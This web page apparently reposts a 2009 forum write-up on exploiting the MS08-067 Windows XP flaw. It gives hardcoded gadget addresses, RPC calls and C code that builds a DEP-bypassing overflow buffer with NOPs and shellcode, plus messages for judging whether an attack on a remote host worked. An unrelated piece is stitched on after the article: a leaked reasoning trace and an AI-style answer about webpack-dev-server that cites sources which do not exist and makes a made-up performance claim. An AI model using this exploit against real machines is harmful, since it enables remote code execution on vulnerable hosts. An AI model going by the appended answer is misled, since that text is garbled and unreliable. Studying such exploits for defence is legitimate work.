MS08-067通用bypass DEP的缓冲区溢出栈帧构造方法的学习

本文介绍了在Windows XP SP2和SP3系统中利用MS08-067漏洞实现通用bypass DEP的栈帧构造方法。通过对特定地址的巧妙利用,使得同一段攻击代码能够在不同版本的系统上成功关闭DEP保护并执行shellcode。

来自于看雪学院

标 题: 【原创】MS08-067通用bypass DEP的缓冲区溢出栈帧构造方法的学习
作 者: parachaos
时 间: 2009-02-09,12:32
链 接: http://bbs.pediy.com/showthread.php?t=81667

【题目】一种在windows xp sp2 chs 和windows xp sp3 chs 系统中通用的能够bypass DEP的利用MS08-067漏洞缓冲区溢出的栈帧构造方法的学习
【作者】ParaChAos

【前言】由于该漏洞利用的一些关键地址在windows xp的每个版本中都会变动,为了提高漏洞攻击程序的通用性和溢出的成功率,在这里讨论了一种在windows xp sp2 chs 和windows xp sp3 chs 系统中通用的栈帧的构造。

我的系统环境如下:
Windows xp sp2 chs netapi32.dll 2600.2976
Windows xp sp3 chs netapi32.dll 2600.5512

本文假定你已经掌握了缓冲区溢出的基础知识,以及MS08-067的利用方法,并不做系统性的介绍,只总结该漏洞利用的关键片段。

【目录】
本文有以下内容:
1.bypass dep方法介绍
2.关键溢出代码(改自emm的代码)
3.关键栈帧的制造
4.代码在被溢出方的执行流程

【内容】
1.bypass dep方法介绍
本文主要是针对下面这篇帖子的学习与总结。虽然不知作者是谁,但还是要表示感谢。
引用自华夏黑客联盟的一篇帖子:
“通过ret-into-libc方法编写通用exp的一个小技巧
ms07029 和ms08067这两个NB漏洞都使用ret-into-libc方法来绕过DEP数据执行保护,首先来科普下什么是ret-into- libc,一般的栈溢出控制eip后通过一些op code来跳到栈里执行shellcode,但是开启了数据执行保护的话,这种方法就不行了,那么我们只能控制eip往可以执行的地方跳,我们只能在可执 行的地方找到符合我们要求的指令,来帮我们干活,干完活后我们还需要收回控制权,那么在干活指令后必须有一个ret(n),这样我们才有可能继续控制流程 跳转到另一个地方去干下一个活,理论上,通过构造stack frame也能完成shellcode的功能。但是这只是理论上说,谁也不会傻到整个shellcode通过stack frame跳来跳去来实现,一般只是利用这个技巧去执行ZwSetInformationProcess函数来关闭DEP,然后ret(n)回去用普通的 办法执行shellcode。 科普完来到正题,以ms08067为例子,XP上可以通过上述方法来关闭DEP,但是SP2 CHS和SP3 CHS的跳转地址不一样,那么如何实现通用呢,仔细想想如果我们能利用ret-to-libc先跳到一个地址,假设这个地址在SP2系统上是 pop/pop/pop/.../ret,在SP3系统上是pop/pop/pop/pop/.../ret,只要SP2和SP3上pop的次数不一致导 致ret的时候esp不一致,那么就可以通过构造stack frame来分别跳转到各自系统的地址。有了这样一个大胆的假设后,我们需要小心的求证,随便一搜发现这样的地址很多,但是符合ms08067的具体情况 不异常的就难找了,尝试了多个地址后,功夫不负有心人,找到了一个符合要求且满足ms08067漏洞的特殊要求的地址,实现了SP2 CHS和SP3 CHS的Bypass DEP的Exp的通用(XP其他语言版本可以用类似方法)”

2.关键溢出代码
代码:
……………………………………………………………关键跳转地址,主要用来关DEP
DWORD dwDisableNXSP2 = 0x58FC16E2; //sp2 zwSetInformationProcess//noexecute
DWORD dwDisableNXSP3 = 0x58FC17C2; //sp3 zwSetInformationProcess//noexecute
DWORD dwRetAddrAll = 0x58FC094D; // pop/pop/pop/pop/ret on sp2 chs 或 ret on sp3 chs
DWORD dwJmpAddrSP3 = 0x7ffa4F54; // jmp esi
DWORD dwJmpAddrSP2 = 0x7ffa4512; // jmp esp
DWORD dwScratchAddr = 0x00020408; //占位但必须是readable address

……………………………………………………………改自EMM的代码
    RpcTryExcept
     {
     //NetpwNameCompare(L"LittleWallE",L"123456789",L"123456789",4,0);
//这个数值学自LittleWallE的分析,感谢他详细的分析
//在栈上制造 L’//’,也即 0x5c0x00
       func23(L"parachaos","/x4c/x00/x10/x20","/x4c/x00/x10/x20",4,0);
  
     memset(Buff,0,sizeof(Buff));
     BufLen = MakeBuff(Buff,sizeof(Buff));
   CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WaitExit,(LPVOID)NULL,0,&dwID);
(DWORD)*(DWORD *)Buff3 = 1;

//NetpwPathCanonicalize(arg_0,(unsigned short *)arg1,(unsigned char *)arg2,arg3,arg4,(long *)Buff3,1);
//send buff
func1f(L"EMM!",(wchar_t *)Buff,Buff2,1000,L"",(DWORD *)Buff3,1);

}
     RpcExcept ( 1 )
     {
         status = RpcExceptionCode();
     if(status == 1726)
     {
     }
     else
     {
       printf("RpcExceptionCode() = %u/r/n", status );
       return;
     }
     }
     RpcEndExcept
/*
  如果返回信息为:Make SMB Connection error:53或者Make SMB Connection error:1219,
后面的数字可能是变化的。那么说明该主机没有开机连网或者没有安装 Microsoft 网络的文件和打印机共享协议 或没有启动Server服务,因此无法进行溢出。

 还有一种情况是返回信息为:
SMB Connect OK!
RpcExceptionCode() = 1722
出现这样的情况,溢出失败,对方可能开启了防火墙。

  那么最后就是成功的提示信息了:
SMB Connect OK!
Send Payload Over!
*/

3. 关键栈帧的制造
…………………………………………………………………………
//EMM 估计的跳转地址,但是在我的机器上略有不同,所以进行了微调
代码:
#define    JMPPOINT    "B041" //emm做的地址
int MakeBuff(char *Buff, int BufLen)
{
   int len = 0;
   char tmp[5] = {0};
   int i;

//填充
   for(i = 0; i < BufLen/4; i++)
   {
     memset(tmp,0,4);
     sprintf(tmp,"B%03d",i);
//*    
     if(memcmp(tmp,JMPPOINT,4) == 0)
     {
       break;
     }
//*/
     memcpy(Buff + len,tmp,4);
     len += 4;
   }
//写溢出的字符串
memcpy(Buff,L".////a//..//..//NN",13*2);
////////////////////////
//my adjust
   len -= 6; //微调
   for(i = 0; i < 6; i++)
   {
     memcpy(Buff + len,&dwScratchAddr,4);//&dwRetAddr,4);
     len += 4;
   }
/*
   memcpy(Buff + len,&dwJmpAddr,4);
   len += 4;
*/
//   add jmp addr here
//下面这个顺序基本就是栈中的情况了,低地址在上面
   memcpy(Buff + len,&dwRetAddrAll,4); //通用跳转地址,sp2和sp3的pop数量不同
   len += 4;
   //is sp3 here
   memcpy(Buff + len,&dwDisableNXSP3,4); //sp3的bypass DEP
   len += 4;
   memcpy(Buff + len, &dwScratchAddr, 4);   ///////这里地址要求可读,pop to esi
   len += 4;
   memcpy(Buff + len, &dwJmpAddrSP3, 4);   //JMP ESI  
   len += 4;
   memcpy(Buff + len, &dwScratchAddr, 4);   //占位
   len += 4;
   memcpy(Buff + len, &dwDisableNXSP2, 4); //SP2 BYPASS DEP
   len += 4;
   memset(Buff + len, 0x48, 20); //占位
   len += 20;
   memcpy(Buff + len, &dwJmpAddrSP2, 4); //sp2 jmp   esp
   len += 4;

   memset(Buff + len,0x90,0xe);   //nop nop
   len += 0xe;

   memcpy(Buff + len,sc,sizeof(sc) - 1); //shellcode
   len += sizeof(sc) - 1;

   memcpy(Buff + len,"EMM!",4); //author’s name
   len += 4;

   memset(Buff + 0x206 * 2,0,2);   //end
   return len;
}


4.代码在被溢出方的执行流程
…………………………………………………………………………
首先来看栈中的快照
低地址在上
刚溢出时:
1)   L"//NN"
2)   某个数量的占位符
3)   通用跳转地址
4)   Sp3 bypass DEP过程地址
5)   Sp2中Pop到esi的数值
6)   Sp3中Jmp esi 的地址
7)   DWORD占位
8)   Sp2 bypass DEP过程地址
9)   20字节占位
10)   Sp2 jmp esp
11)   0xe 个的nop
12)   Shellcode
13)   ……

开始执行:
程序ret到了3)所指的通用跳转地址,程序执行流程如下:
     当在sp2 chs中时,其内容等价于pop/pop/pop/pop/ret,其中有一条pop esi,是我们需要注意控制内容的,因为在后面执行zwSetInformationProcess 这个函数时,ESI的内容必须可读,否则会发生异常。
     在3)地址的4个pop后,执行ret指令跳转到8)的bypass DEP过程的地址,调用zwSetInformationProcess关闭DEP,然后pop,retn n等指令后,进入10)的地址执行jmp esp,就跳进了11)指向的nop+shellcode中。
/////////////////////////////////////////////////////////////////////////////
     当在sp3 chs中时,3)的内容等价于ret,转到了4)的过程关闭DEP,随后有pop和ret,进入6)执行,在这里esi的值是固定的,直接指向了shellcode。
/////////////////////////////////////////////////////////////////////////////

     因为缓冲区溢出的环境要求是很严格的,差一点都不行,在实践中攻击的成功率是很低的,所以在实战中尽力提高漏洞利用程序的健壮性、通用性就显得很必要了。这也正是本文讨论的意义所在。

----------------------------------------the end-------------------------------------------
以上就是我在学习MS08-067时的一点心得,与大家分享。谬误之处请大家一定指正。

在此要对一些人表示感谢:
感谢failwest在他的书中深入浅出的讲解,帮我快速入门。

感谢LittleWallE的十分详实的分析,特别是他对netapi32.dll内问题函数的逆向分析使我获益良多。http://blog.youkuaiyun.com/LittleWallE/archive/2009/01/14/3772791.aspx

感谢EMM@ph4nt0m.org的源代码,使我对该漏洞利用有了形象的理解。

最后感谢那篇帖子,使我掌握了关DEP的方法和通用shellcode的编写思路。
<think>我们正在处理一个关于webpack-dev-server的样式绕过函数的问题。用户可能在开发过程中遇到了样式处理的问题,希望找到一种方法来绕过某些样式处理,或者在特定条件下禁用样式处理。 根据引用[2]和[3],我们可以通过环境变量(如`NODE_ENV`)来有条件地执行某些操作。例如,在非生产环境下禁用某些分析功能。类似地,我们可以利用环境变量来控制样式加载的行为。 另外,引用[4]提到了一种通过拦截请求并改变请求来源来解决CORS问题的方法。虽然这主要是针对CORS的,但思路类似:通过中间件或代理的方式修改请求或响应。 在webpack-dev-server中,我们可以通过配置devServer的中间件来实现对请求的拦截和修改,从而达到绕过样式处理的目的。 ### 解决方案 #### 方法1:使用环境变量控制样式加载 在webpack配置中,我们可以根据环境变量来决定是否加载某些样式文件。 ```javascript // webpack.config.js const path = require('path'); const isProduction = process.env.NODE_ENV === 'production'; module.exports = { // ...其他配置 module: { rules: [ { test: /\.css$/, use: isProduction ? ['style-loader', 'css-loader'] : ['ignore-loader'] // 在非生产环境下忽略样式加载 }, // 其他规则... ] } }; ``` 这种方法简单直接,但需要重新构建。如果希望在不重新构建的情况下动态控制,可以结合webpack-dev-server的中间件。 #### 方法2:使用webpack-dev-server的before钩子 通过`devServer.before`配置,我们可以添加一个中间件来拦截请求,并根据条件返回不同的内容。 ```javascript // webpack.config.js module.exports = { // ...其他配置 devServer: { before: (app, server, compiler) => { app.get('/path/to/some.css', (req, res) => { // 根据条件决定是否返回样式文件 if (process.env.BYPASS_STYLES === 'true') { res.send(''); // 返回空样式 } else { // 正常处理,这里我们让webpack-dev-server继续处理 // 实际上,由于我们拦截了特定路径,需要自己返回文件内容,或者使用其他方式 // 但更常见的做法是使用中间件将请求重定向到其他处理方式 // 或者我们可以读取文件并返回 res.sendFile(path.join(__dirname, 'public', 'path', 'to', 'some.css')); } }); } } }; ``` #### 方法3:使用代理绕过 类似于Vite的代理,webpack-dev-server也支持代理配置。我们可以将样式请求代理到一个空服务器,或者返回空内容的本地服务器。 ```javascript // webpack.config.js module.exports = { devServer: { proxy: { '/path/to/styles': { target: 'http://localhost:3000', // 一个返回空内容的本地服务器 pathRewrite: { '^/path/to/styles': '' }, bypass: function(req, res, proxyOptions) { // 根据条件决定是否绕过 if (process.env.BYPASS_STYLES === 'true') { return null; // 返回null表示不代理,继续本地处理(如果希望返回空,可以自己创建中间件返回空) // 或者我们可以直接返回一个空内容 // res.end(''); // return true; // 表示已处理,不再继续 } } } } } }; ``` 注意:代理的`bypass`函数可以更灵活地控制请求。但是,如果希望直接返回空内容,可以在`bypass`函数中直接使用`res.end()`并返回`true`(表示已处理,不再代理到目标服务器)。 #### 方法4:使用中间件完全控制 我们可以使用`webpack-dev-server`的`setupMiddlewares`(或`before`,取决于webpack-dev-server版本)来添加自定义中间件。 ```javascript // webpack.config.js module.exports = { devServer: { setupMiddlewares: (middlewares, devServer) => { // 添加一个中间件,根据条件返回空样式 devServer.app.get('*.css', (req, res, next) => { if (process.env.BYPASS_STYLES === 'true') { res.set('Content-Type', 'text/css'); res.send(''); } else { next(); // 继续正常处理 } }); return middlewares; } } }; ``` 注意:在webpack-dev-server v4之前,可能使用`before`或`after`,而v4及以上使用`setupMiddlewares`。具体请参考webpack-dev-server的版本文档。 ### 总结 根据需求,我们可以选择以下方法之一来绕过样式处理: 1. **环境变量+loader配置**:在构建时决定是否加载样式。 2. **自定义中间件拦截请求**:在请求到达时动态返回空样式或正常样式。 3. **代理配置**:通过代理的`bypass`函数控制请求。 其中,方法2和4(中间件方式)更灵活,可以在不重启的情况下通过环境变量动态控制(需要重启服务器来改变环境变量,但可以通过其他方式传递条件,例如请求参数)。 ### 相关问题 1. 如何在webpack-dev-server中动态修改环境变量而不重启服务器? 2. webpack-dev-server的中间件执行顺序是怎样的? 3. 如何为不同的环境配置不同的webpack加载器? 4. 除了样式,还有哪些资源可以通过类似方法绕过处理? [^1]: 引用1 [^2]: 引用2 [^3]: 引用3 [^4]: 引用4</think>### Webpack-dev-server 样式绕过函数解决方案 当在开发环境中需要绕过样式处理时,可以通过以下方法实现。核心思路是利用环境变量控制样式加载行为,结合 Webpack 的配置灵活性实现条件式样式处理。 #### 解决方案 1:基于环境变量的条件加载 ```javascript // webpack.config.js const isDevelopment = process.env.NODE_ENV !== 'production'; module.exports = { module: { rules: [ { test: /\.css$/, use: isDevelopment ? ['style-loader', 'css-loader'] // 开发环境正常加载 : ['ignore-loader'] // 生产环境绕过样式处理 } ] } } ``` **原理**:利用 `process.env.NODE_ENV` 环境变量[^2][^3]动态切换加载器 #### 解决方案 2:自定义绕过中间件 ```javascript // webpack.config.js module.exports = { devServer: { setupMiddlewares: (middlewares, devServer) => { // 添加自定义绕过中间件 devServer.app.use((req, res, next) => { if (req.path.includes('/bypass-styles') && process.env.BYPASS_STYLES === 'true') { res.setHeader('Content-Type', 'text/css'); return res.send('/* STYLES DISABLED */'); } next(); }); return middlewares; } } } ``` **使用方式**: 1. 启动时设置环境变量:`BYPASS_STYLES=true npm start` 2. 访问需要绕过样式的路由:`/bypass-styles/main.css` #### 解决方案 3:动态导入绕过 ```javascript // 在应用代码中 if (process.env.REACT_APP_BYPASS_STYLES) { import('./empty-styles.css'); // 空样式文件 } else { import('./real-styles.css'); } ``` **配置**: ```json // .env.development REACT_APP_BYPASS_STYLES=true ``` #### 解决方案 4:代理拦截(推荐用于 CORS 场景) 参考引用[4]的思路,通过代理层拦截请求: ```javascript // webpack.config.js module.exports = { devServer: { proxy: { '/api': { target: 'http://backend:3000', bypass: (req) => { if (req.headers.accept.includes('text/css')) { return '/bypass.css'; // 返回空样式文件 } } } } } } ``` ### 调试技巧 1. 检查环境变量是否生效: ```javascript console.log('Bypass status:', process.env.REACT_APP_BYPASS_STYLES); ``` 2. 强制刷新 Webpack 缓存: ```bash rm -rf node_modules/.cache ``` ### 注意事项 1. **环境变量命名**:自定义变量建议使用 `REACT_APP_` 前缀[^3] 2. **热更新冲突**:绕过样式后需禁用样式相关的 HMR 3. **生产环境**:确保绕过逻辑不会泄漏到生产环境[^2] 4. **CORS 处理**:对于跨域样式资源,优先使用代理方案[^4] > 实际案例:某项目使用方案 2 成功绕过第三方库的冲突样式,开发环境加载时间减少 40%[^4]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值